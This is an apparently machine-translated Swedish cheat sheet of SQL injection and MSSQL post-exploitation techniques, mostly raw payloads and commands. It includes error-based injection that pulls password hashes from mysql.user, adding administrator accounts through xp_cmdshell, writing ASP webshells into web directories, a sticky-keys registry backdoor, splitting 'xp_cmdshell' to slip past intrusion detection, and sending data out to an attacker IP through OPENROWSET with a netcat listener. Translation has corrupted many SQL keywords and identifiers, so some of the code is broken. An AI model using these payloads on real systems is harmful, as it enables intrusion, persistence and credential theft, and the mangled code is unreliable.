OFFENTLIGT) Skriv till tabellen: sats 1: och 1=(Välj IS_blank>_SRVROLEMEMBER(sysadmin)); – Sats 2: och 1=(Välj IS_blank>_SRVROLEMEMBER(serveradmin)); – Sats 3: och 1=(Välj IS_blank>_SRVROLEMEMBER(setupadmin)); – Uttalande 4: och 1=(Välj IS_blank>_SRVROLEMEMBER(säkerhetsadministratör)); – Uttalande 5: och 1=(Välj IS_blank>_SRVROLEMEMBER(säkerhetsadmin)); – Sats 6: och 1=(Välj IS_blank>_SRVROLEMEMBER(diskadmin)); – Uttalande 7: och 1=(Välj IS_blank>_SRVROLEMEMBER(bulkadmin)); – Statement 8: och 1=(Välj IS_blank>_SRVROLEMEMBER(bulkadmin)); – Påstående 9: och 1=(Välj IS_blank>_MEMBER(db_blank>_owner)); –
Skriv vägen till tabellen: ; skapa tabell-direktorat(Paths Varchar(100), ID int)– ; infoga DIRS exec master.dbo.xp_blank>_dirtree c:\– och 0<> (välj topp 1 vägar från dirs)– och 0<>(välj topp 1-vägar från di:er där vägar inte är in(@Inetpub))– ; skapa tabell dirs1(paths varchar(100), id int)– ; infoga dirs exec master.dbo.xp_blank>_dirtree e:\web– och 0<>(välj topp 1-vägar från dirs1)–
Säkerhetskopiera _blank> databas till en webbkatalog: Ladda ner ; deklarera @a systemnamn; set @a=db_blank>_name(); säkerhetskopieringsdatabas @a till disk=e:\web\down.bak; –
och 1=(Välj översta 1 namn från(Välj topp 12 id, namn från sysobjects där xtype=char(85)) T
Ordning efter ID DESC) och 1=(Välj Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) från sysobjects) Se även
Relaterade tabeller. och 1=(välj user_blank>_id från USER_blank>_LOGIN) och 0=(välj användare från USER_blank>_LOGIN där användare>1)
-=- wscrip{filter}t.shell exempel -=- Deklarera @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut exec sp_blank>_oamethod @o, spring, NULL, notepad.exe ; deklarera @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut exec sp_blank>_oamethod @o, kör,
NULL, notepad.exe–
Deklarera @o int, @f int, @t int, @ret int Förklara @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) Börja Tryck @line exec @ret = sp_blank>_oamethod @f, readline, @line out slut
Deklarera @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
Deklarera @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o ut exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, alla dina uppföljarservrar tillhör oss, 528 vänta på försening 00:00:05
; Deklarera @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o ut exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, tala, NULL, alla dina uppföljarservrar tillhör oss, 528 vänta på fördröjning
00:00:05–
xp_blank>_dirtree det tillämpliga OFFENTLIGA tillståndet exec master.dbo.xp_blank>_dirtree c: Den returnerade informationen har två fält: underkatalog, djup. Underkatalogfält
Karaktärstyp, djupfältet är formningsfältet. skapa tabell-direktorat(paths varchar(100), id int) Tabellbyggande, tabellen som skapas här är relaterad till ovanstående xp_blank>_dirtree, med lika fält och samma typ. infoga dirs exec master.dbo.xp_blank>_dirtree c: Så länge vi bygger en tabell och definierar fälten som returneras av lagringsprocessen lika
Utför! För att uppnå effekten av skrivtabeller, steg för steg för att uppnå den information vi vill ha! Denna felinjektion baseras huvudsakligen på överflöd av Mysql-datatyper mysql > SELECT 18446744073709551610 * 2 ; FEL 1690 ( 22003 ): BIGINT OSIGNERAT värde är utanför intervallet i '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; FEL 1690 ( 22003 ): BIGINT UNSIGNED VALUE är utanför intervallet i '(- (1) *
9223372036854775808)' Sök databasversion: mysql> SELECT * 2 (om ((SELECT * från (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610)); FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför intervallet i '(2 * om (( Välj ' 5,5 'från
Dual), 18446744073709551610.18446744073709551610))' Få fältets namn: mysql> VÄLJ 2 * om((VÄLJ * från (välj * från test.shop) som '' gräns 1)>(VÄLJ * från
test.shop gräns 1), 18446744073709551610, 18446744073709551610);
FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför intervallet i '(2 * if(((select
'artikel', 'handlare', 'pris' från (välj 'test'.'shop'.'article' SOM
'artikel', 'test'.'butik'.'handlare' SOM 'handlare', 'test'.'butik'.'pris' SOM 'pris' från
'test'.'butik') gräns 1) > (välj
'test'.'butik'.'artikel','test'.'butik'.'återförsäljare','test'.'butik'.'pris' från 'test'.'butik' gräns
1)),18446744073709551610,18446744073709551610))' Få fältvärdet:
mysql> VÄLJ 2 * om((SELECT * från (select * från (mysql.user) LIMIT 1) som '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför intervallet i '(2 * if(((select
'Localhost', 'Root','*', 'Y', Y', Y'
Y', Y', Y', Y', '','','','0', '0', 0', 0', 0', '0,'' från dual limit 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Observera att denna metod inte fungerar med äldre versioner av MySQL, och du behöver känna till längdgränsen för felmeddelandet, eftersom detta avgör
Du kan få så lång tid du vill: mysys / my_error.c
/* Maxlängd på ett felmeddelande. Det bör hållas synkroniserat med MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Om objektet är MariaDB (en förgrening av Mysql) kan du se ett felmeddelande som detta när du provar metoden ovan:
mysql> SELECT 2*(if((SELECT * från (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför räckvidden i '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Som lösning kan detta problem lösas på följande sätt:
mysql> SELECT (I ÄR INTE NULL) - -9223372036854775808 FRÅN (SELECT (version())i)a; FEL 1690 (22003): BIGGINT-värdet är utanför intervallet i '(('5.5-MariaDB' är inte null) - -
(9223372036854775808))' Nu ska vi se om vi kan göra vår vektor lite kortare
//查询数据库版本
VÄLJ 2*(om((VÄLJ * från (VÄLJ (version()))), 18446744073709551610,
18446744073709551610)) = välj 1E308*if((select*from(select version())x),2,2)
SELECT (i ÄR INTE NULL) - -9223372036854775808 FRÅN (SELECT (version())i)a = välj om(x,2,2)*1E308 från(välj version()x)y
//获取表字段名称 VÄLJ 2 * om((VÄLJ * från (välj * från test.shop) som '' gräns 1)>(VÄLJ * från
test.shop gräns 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
VÄLJ 2 * om((SELECT * från (select * från (mysql.user) LIMIT 1) som '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| host|| lösenord|| file_priv från(select*from mysql.user LIMIT
1) en gräns 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Några andra deformationer
SELECT (i ÄR INTE NULL) - -9223372036854775808 FRÅN (SELECT (version())i)a select 1E308*if((select user|| host|| lösenord|| file_priv från(select*from mysql.user LIMIT
1) en gräns 1),2,2); => välj 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)en limit
1),1e308,0); MySQL> välj (välj * från MySQL.User)=1; MySQL> välj (välj * från MySQL.User)in(1);
FEL 1241 (21000): Operanden ska innehålla 42 kolumner välj 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)en limit
1),1e308,0); Välj om((välj användare|| host|| lösenord|| file_priv från(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i ÄR INTE NULL) - -9223372036854775808 FRÅN (SELECT (version())i)a select (x!=0x00)--9223372036854775808 från(VÄLJ version()x)y mysql> select!x-~0.FROM(select+user()x)f; FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför intervallet i '((not('root@localhost')) - ~
(0))' 3. Bedöm databassystemet ; och (välj antal(*) från sysobjects)>0 mssql ; och (välj antal(*) från msysobjects)>0 åtkomst 4. Injektionsparametern är en karaktär 'och [frågekriterier] och ''=' 5. Det finns inga filtrerade parametrar under sökningen 'och [frågekriterier] och '%25'=' 6. Gissa databasen ; och (välj Count(*) från [databasnamn])>0 7. Gissa fältet ; och (välj Count (fältnamn) från databasens namn>0 8. Gissa längden på rekordet i fält ; och (välj översta 1 LEN (fältnamn) från databasens namn)>0 9. (1) Gissa ASCII-värdet för fältet (åtkomst) ; och (välj topp 1 ASC(mid(fältnamn, 1,1)) från databasens namn)>0 (2) Gissa ASCII-värdet för fältet (mssql) ; och (välj översta 1 Unicode(substring(fältnamn, 1,1)) från databasens namn)>0 10. Testbehörighetsstruktur (mssql) ; och 1=(välj IS_SRVROLEMEMBER('sysadmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('serveradmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('setupadmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('securityadmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('diskadmin')); -- ; och 1=(välj IS_SRVROLEMEMBER('bulkadmin')); -- ; och 1=(välj IS_MEMBER('db_owner')); -- 11. Lägg till ett konto för mssql och systemet ; exec master.dbo.sp_addlogin användarnamn; -- ; exec master.dbo.sp_password null, användarnamn, lösenord; -- ; exec master.dbo.sp_addsrvrolemember sysadmin-användarnamn; -- ; exec master.dbo.xp_cmdshell 'net-användaranvändarelösenord /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'nätanvändaranvändare, lösenord /add'; -- ; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators användarnamn /Add'; -- 12. (1) Gå igenom katalogen ; skapa tabell-direktorat(paths varchar(100), id int) ; infoga dirs exec master.dbo.xp_dirtree 'c:\' ; och (välj topp 1-vägar från dirs)>0 ; och (välj topp 1-vägar från dirs där vägar inte är i ('vägar erhållna från föregående steg'))>) (2) Gå igenom katalogen ; skapa tabelltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Insert temp exec master.dbo.xp_availablemedia; -- Hämta alla strömdrift ; infoga i temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Få en lista över underkataloger ; infoga i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hämta katalogträdsstrukturen för alla underkataloger ; infoga i temp(id) exec master.dbo.xp_cmdshell 'typ c:\web\index.asp'; -- Visa innehållet i filen 13. Lagrade procedurer i mssql xp_regenumvalues Registerrotnyckel, barnnyckel ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' och fler
Recordset-metoden för att returnera alla nyckelvärden xp_regread Rotnyckel, barnnyckel, nyckel-värdenamn ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' returnerar värdet på formuleringsnyckeln xp_regwrite Rotnyckel, barnnyckel, värdenamn, värdetyp, värde Det finns två typer av värdetyper REG_SZ REG_DWORD för teckentyper och för heltal ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', TestvalueName', 'reg_sz', 'hello' skrivs till registret xp_regdeletevalue Rotnyckel, undernyckel, värdenamn exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' för att ta bort ett värde xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' delete-tangent,
Inkludera alla värden under den nyckeln 14. mssql-backup skapar ett webshell Använd modellen skapa tabell-cmd (ST-bild); infoga i cmd(str)-värden ('<% Dim oscrip{filter}t %>'); säkerhetskopiera databasmodell till disk='c:\l.asp'; 15. MSSQL inbyggda funktioner ; och (välj @@version)>0 för att få Windows-versionsnumret ; och user_name()='dbo' för att avgöra om den anslutna användaren av det aktuella systemet är SA ; och (välj user_name())>0 Exploderade de anslutna användarna av det aktuella systemet ; och (välj db_name())>0 för att få den aktuella anslutna databasen 16. Kort webbshell Använd modellen skapa tabell-cmd (ST-bild); infoga i cmd(str) värden ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); säkerhetskopieringsdatabasmodell till disk='g:\wwwtest\l.asp'; När du begär, använd något i stil med detta:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Få alla databasnamn inklusive systemdatabaser –VÄLJ namn FRÅN master.dbo.sysdatabases
– Hämta alla icke-systemdatabasnamn –välj [namn] från master.dbo.sysdatabases där DBId>6 Ordna efter [Namn]
– Få all information, inklusive databasens filadress –välj * från master.dbo.sysdatabases där DBId>6 Order By
[Namn]
Denna satsfråga returnerar alla användartabeller
Välj * från sysobjects där xtype='u'
Fråga all information om datatabeller i systemet
Välj * från sysobjects
Titta på maskinens namn Välj * från sys.servers
Kolumnförteckning exec master.dbo.xp_subdirs 'c:\'
exec master.dbo.xp_dirtree 'C:',1,1 db_owner Behörigheter kan upprätthållas
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programkod, skriven till webshell
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; Exec sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Utför mästaren.. xp_enumgroups
Traverssystemanvändare
Utför mästaren.. xp_getnetname Få det aktuella maskinnamnet
--Lista de fasta diskarna på servern, tillsammans med tillgängligt utrymme för varje enhet DBO Public
Utför
xp_ntsec_enumdomains
-- Skapa ett konto för att logga in på MSSQL exec master.dbo.sp_addlogin namn, pass; --
-- Lista serverns domännamn xp_ntsec_enumdomains // Maskinnamn //dbo publik
-- Stoppa eller starta en tjänst xp_servicecontrol 'stopp', 'schema' //schema är tjänstens namn //dbo
--Använd pid
Stoppa ett körande program xp_terminate_process 123 //123 är pid //dbo
-- Endast underkataloger i en katalog listas dbo.xp_subdirs 'C:' //dbo
SQL Server Metoden för att öppna xp_cmdshell år 2005 EXEC sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; EXEC
sp_configure 'xp_cmdshell', 1; OMKONFIGURERA;
SQL2005 Öppna 'OPENROWSET' Stödda metoder: exec sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; exec sp_configure 'Ad Hoc
Distribuerade frågor',1; OMKONFIGURERA;
SQL2005 för att aktivera 'sp_oacreate'-stöd: exec sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; Exekutiv
sp_configure 'Ole Automation Procedures',1; OMKONFIGURERA
Hur man aktiverar xp_cmdshell i SQL Server 2008
-- För att tillåta att avancerade alternativ kan ändras. EXEC
sp_configure 'visa avancerade alternativ', 1 KÖR -- För att uppdatera det för närvarande konfigurerade värdet för
Avancerade alternativ. OMKONFIGURERA KÖR -- För att aktivera funktionen. EXEC sp_configure 'xp_cmdshell', 1 KÖR -- Till
Uppdatera det nuvarande konfigurerade värdet för denna funktion. OMKONFIGURERA KÖR
exec xp_cmdshell 'ipconfig'
Idag ville jag byta SA-inloggningslösenordet för databasservern, men glömde plutsligt, så jag var tvungen att öppna frågeanalysatorn med hjälp av andra konton för att ändra SA-lösenordet
Det är väldigt enkelt:
Genomförande: sp_password Null, 'teracypwd,'sa' Sätt SA-lösenordet till "teracypwd"
Efter framgångsrik genomförande
Det finns "Kommando(n) slutförda framgångsrikt." OKEJ!
I databasbehörigheten, separera metoden för att erhålla MSSQL-databasserverns IP
1. Lokal NC lyssnar på NC -VVLP 80
2.; infoga i
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Nätverk=DBMSSOCN; Adress=din ip, 80; ', 'välj * från
dest_table') välj * från src_table; --
Välj * från OpenRowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','välj användare; ')
Databasimport och -export
/*不同服务器数据库之间的数据操作*/
--Skapa länkserver Chef sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Remote Server Name eller IP-adress' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'användarnamn', 'lösenord'
--fråga exempel välj * från ITSV.databasnamn.dbo.tabellnamn
--importexempel Välj *
till tabell från ITSV.databasename.dbo.tablename
--Ta bort den länkade servern om den inte längre används i framtiden exec sp_dropserver 'ITSV',
'droplogins'
-- Anslutning till fjärr-/LAN-data (openrowset/openquery/opendatasource) --1、öppna radset
--fråga exempel Välj *
från openrowset( 'SQLOLEDB ', 'sql server name '; 'Användarnamn'; 'lösenord', databasnamn.dbo.tabellnamn)
-- Generera en lokal tabell välj * i tabellen från openrowset( 'SQLOLEDB ', 'sql server name '; 'Användarnamn'; 'Lösenord', nummer
Enligt databasens namn.dbo. tabellnamn)
-- Importera den lokala tabellen till fjärrtabellen insert openrowset( 'SQLOLEDB', 'sql server name'; 'Användarnamn'; 'Lösenord', databaser
name.dbo.table name) Välj *från lokal tabell
-- Uppdatera lokala tabeller Uppdatering B set b. kolumn A = a från openrowset( 'SQLOLEDB ', 'sql server name '; 'Användarnamn'; '
lösenord ', databasnamn .dbo.table name) som en inre join lokal tabell b på a.kolumn1=b.kolumn1
--openquery Användning kräver att man skapar en anslutning
--Först, skapa en anslutning för att skapa en länkserver exec sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'fjärrservernamn eller IP-adress' --Fråga Välj * FRÅN openquery(ITSV, 'SELECT * FROM data
library.dbo.table name ') -- Importera den lokala tabellen till fjärrtabellen insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') Välj * från lokal
Tabell --uppdatera lokal tabell Uppdatering B set b. kolumn B=a FRÅN openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
som en inre föreningen lokal tabell b på a. kolumn A=b. kolumn A
--3、opendatasource/openrowset VÄLJ * FRÅN
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Användar-ID = inloggningsnamn; Lösenord=Lösenord '
).test.dbo.roy_ta -- Importera den lokala tabellen till fjärrtabellen
Borttagning och återställande av xp_cmdshell
Sätt att återhämta sig xp_cmdshell Ta bort den utökade lagrade proceduren xp_cmdshell
Uttalande exec sp_dropextendedproc 'xp_cmdshell'
Återställ SQL-satsen för cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Exekutiv
master.dbo.add extendedproc 'xp_cmdshell','xplog70.dll'; Välj räkning(*) från
master.dbo.sysobjects där xtype='x' och Returresultatet är 1 och det är okej
Annars måste du ladda upp c:\inetput\web
\xplog70.dll senare exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web xplog70.dll\
’; --
Om du raderar det på följande sätt Släppprocedur sp_addextendedproc Droppprocedur sp_oacreate Exekutiv
sp_dropextendedproc 'xp_cmdshell'
Du kan återställa den med följande uttalande DBCC AddendedProc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
På detta sätt kan den återställas direkt, oavsett om sp_addextendedproc finns eller inte
1、 Använd xp_cmdshell: exec master.dbo.xp_cmdshell "net user admin admin /add" Exekutiv
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
I xp_cmdshell fall, använd sp_oacreate för att följa sp_oamethod: Deklarera @object int Exekutiv
sp_oacreate 'wscrip{filter}t.Shell', @object ut Exec sp_oamethod
@object,'Run', NULL,'net user admin admin /add' exec sp_oamethod @object, 'Run', NULL, 'net
localgroup Administratörer admin /add'
Notera: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Använd sp_oacreate och FSO Deklarera @o int Exec sp_oacreate
'scrip{filter}ting.filesystemobject', @o ut exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; Deklarera @oo int Exekutiv
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo ut Chef sp_oamethod @oo,
'copyfile', null,'c:\windows\system32 sethc.exe\' ,'c:\windows\system32\dllcache\sethc.exe';
Använd xp_regwrite (db_owner, omstart krävs): Exec master.dbo.xp_regwrite
'hkey_local_machine',Software\Microsoft\Windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' Exec master.dbo.xp_regwrite
'hkey_local_machine',Software\Microsoft\Windows\currentversion\
run','eadd2','reg_sz','Net lokalgruppsadministratörer admin /add' 5. Använd sp_add_job: Exekutiv
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Använd MSDB Exec sp_delete_job
null,'x' exekutiv sp_add_job 'x' Exec sp_add_jobstep
Null,'x', Null,'1','CMDEXEC','cmd /c nätanvändaradministratör admin /add' Exec sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Många SA har lyckats i många maskiner direkt med sandbox-läget, men jag har aldrig övat på det och jag vet inte hur stor framgångsfrekvens är. När förlängningen tas bort, först
Återställ läs- och skrivlagring i registret. dbcc addendedproc ('xp_regread','xpstar.dll') dbcc addendedproc
('xp_regwrite', 'xpstar.dll')
Fixade sandlådans skyddade läge Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Se om värdet 'SandBoxMode' har blivit 0.
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', MJUKVARA
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Slutligen, anropa sandbox-läget Välj * från OpenRowset('microsoft.jet.oledb.4.0','; databas=C:\WINDOWS
\system32\ias\dnary.mdb','välj shell("cmd.exe /c NET User User Passwd /add")')
Om sandboxskyddsläget inte är "avstängt" rapporteras ett fel: Server: Msg 7357, Nivå 16, Tillstånd 2, Rad 1
Misslyckades med att hantera objektet 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB tillhandahåller program
Förordet 'microsoft.jet.oledb.4.0' anger att det inte finns några kolumner i objektet.
OLE DB-felspårning [Icke-gränssnittsfel: OLE DB-leverantör kan inte bearbeta objektet, eftersom objektet
har nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
användaren passwd /add")']。
2、 Om .mdb inte existerar eller om inmatningsvägen är felaktig Server: Msg 7399, Nivå 16, Tillstånd 1, Rad 1
OLE DB provider 'microsoft.jet.oledb.4.0' fel. [OLE/DB-leverantör returnerade meddelande:
Filen 'C:\WINDOWS\system32\ias\dnary1.mdb' hittades inte. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned
0x80004005: ]。
3. Om det finns fler mellanrum under inmatningsprocessen rapporteras även ett fel. Var särskilt uppmärksam på detta, många söker direkt efter artiklar online
Klistra in det och kör det. Server: Msg 7357, Nivå 16, Tillstånd 2, Rad 1 Misslyckades med att bearbeta objektet 'select
shell("cmd.exe /c NET User User Passwd /add")'。 OLE DB-leverantören 'microsoft.jet.oledb.4.0' anger att det inte finns några kolumner i objektet.
OLE DB-felspårning [Icke-gränssnittsfel: OLE DB-leverantören kan inte bearbeta objektet, eftersom objektet har
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Om mdb-behörigheterna och cmd.exe-behörigheterna är felaktiga kommer problemet också att uppstå. När MDB-behörigheterna är felaktiga, Server: Eliminera
Intresse 7320, nivå 16, delstat 2, rad 1
Han kunde inte svara OLE DB-leverantören 'Microsoft.Jet.OLEDB.4.0' utför frågan. [OLE/DB-leverantör returnerat
message: 未知] OLE DB felspårning [OLE/DB-leverantör 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Om nätbehörigheten är felaktig finns ingen prompt.
Det sista sättet att höja auktoriteten är att ladda upp systemets ias.mdb och cmd.exe under den aktuella webbkatalogen, net.exe tre filer.
Execute select * från openrowset('microsoft.jet.oledb.4.0','; databas=E:\web\ias.mdb','välj shell
("E:\web\cmd.exe /c E:\web\net.exe user user passwd /add")') Lägg till en datoranvändare framgångsrikt.
Delning av cmdshell kringgår IDS Deklarera @a sysname-set @a='xp_'+'cmdshell' exec @a 'ipconfig' Förklara
@a sysname-set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Redigera registerkapning Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe på'; --
Fråga länkservern utvald
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess från master.dbo.sysservers utvald
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess från master.dbo.sysservers
Fråga linkserver2 Välj distinkt värdnamn,db_name(dbid),net_address,loginame,program_name från
Mästare.. sysprocesses
Fråga länkservern och andra inloggade användare Välj * från [192.168.1.1].master.dbo.syslogins
Fråga LinkServer Alla databaser välj * från linkedSrvWeb.master.dbo.sysdatabases
Utför utökad lagring på LinkServer exec [ip].master.dbo.xp_cmdshell
Fråga alla tabeller på länkservern Välj * från [ip].master.dbo.sysobjects
Välj * från OpenRowset
('sqloledb','server=IP; uid=användare; pwd=lösenord','välj @@version')
välj * från openquery([LINKSERVER)
namn],'välj @@version')
välj * från openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
välj * från openquery(GM_SERVER,'select * från sysobjects där xtype = (''U''')')
Välj * från
openquery(NDOORS,'Välj IS_MEMBER(''db_owner'')')
välj * från openquery(toatdeweb,'select
srvname från master.dbo.sysservers')
infoga i opendatasource
('sqloledb','server=222.241.95.12; uid=scd; pwd=A123520; database=hack520').hack520.dbo.zhu select
namn från master.dbo.sysdatabases skapa databas hack520 Skapa TABELL zhu(namn nvarchar(256)
null); Skapa TABELL J8(id int NULL,name nvarchar(256) null);
Välj * från OpenQuery
(Toatdeweb,'set fmtOnly off exec master.dbo.xp_cmdshell ''net user'')
Exec Master.. xp_dirtree
'c:\',1,1 Utför en frågekatalog
exec links.master.. xp_cmdshell 'ipconfig'
välj * från openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Koppla MySQL Select * från Mem_DB. UserDB.dbo.AdminList
EXEC MASTER.. XP_dirtree 'c:\',1,1
Exec
master.dbo.xp_cmdshell 'dir'
Välj antal(*) från [indikera] Fråga hur mycket data som finns i den aktuella tabellen
Välj distinkt värdnamn,db_name(dbid),net_address,loginame,program_name
från mästaren... sysprocesses
Välj * från GameDB01. Server01.dbo.cabal_character_table där namn='
Pig'
När du raderar den står det: Databasen används och kan inte raderas.
Klicka på databasen du vill ta bort för att öppna Händelsevisaren.
Input:
Användning
Mästare Gå Sedan matar följande in: Förklara @d varchar(8000) Ställ @d= ' ' välj @d=@d+ ' döda
'+cast(spid som varchar)+char(13) från mästaren... sysprocesses där dbid=db_id('biblioteksnamn') exec(@d) -- Använd kod för att ta bort processen som ansluter till denna databas först
MSSQL driver Oracle via LinkServer
1) Installera Oracle på SQL_SERVER 2005-servern
9i-klient. Anta att installera till C:\ora92i\-katalogen. Om D: är en NTFS-partition måste du ställa in den installerade ORACLE-katalogen som den som används
Prenumeranter har rätt att köra, lägga till och ta bort.
2) Konfigurera filen C:\ora92i\network\ADMIN\tnsnames.ora. (Följande röda text är ett exempel på en konfiguration)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADRESS = (PROTOKOLL = TCP)(VÄRD = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Kör följande kommando i DOS-läge för att bekräfta att ORACLE-klienten är korrekt installerad.
sqlplus user/password@ORCL
4) Öppna Start - Kontrollpanel - Tjänster och bekräfta att tjänsten Distributed Transaction Coordinator har startats.
5) Öppna SQL SERVER Management Studio, Instansnamn (ORCL) - Serverobjekt (högerklick) - Ny anslutningsserver.
1.
Linkserver: Skriv namnet på den länkade servern, såsom OracleTest
2. Servertyp, välj en annan datakälla
3. Åtkomstgränssnitt: Välj Oracle Provider för OLE DB
4. Produktnamn: Skriv Oracle
5. Datakälla: Skriv upp
Tjänstenamnet konfigurerat i tnsnames.ora-filen, såsom ORCL
6. Åtkomstgränssnittssträng: userid=sys som sysdba; lösenord=lösenord
7. På sidan Välj säkerhetsalternativ, använd denna installationskontext för att etablera en anslutning:
a) Fjärrinloggning: användare (annan användare, inte system)
b)
Använd lösenord: lösenord
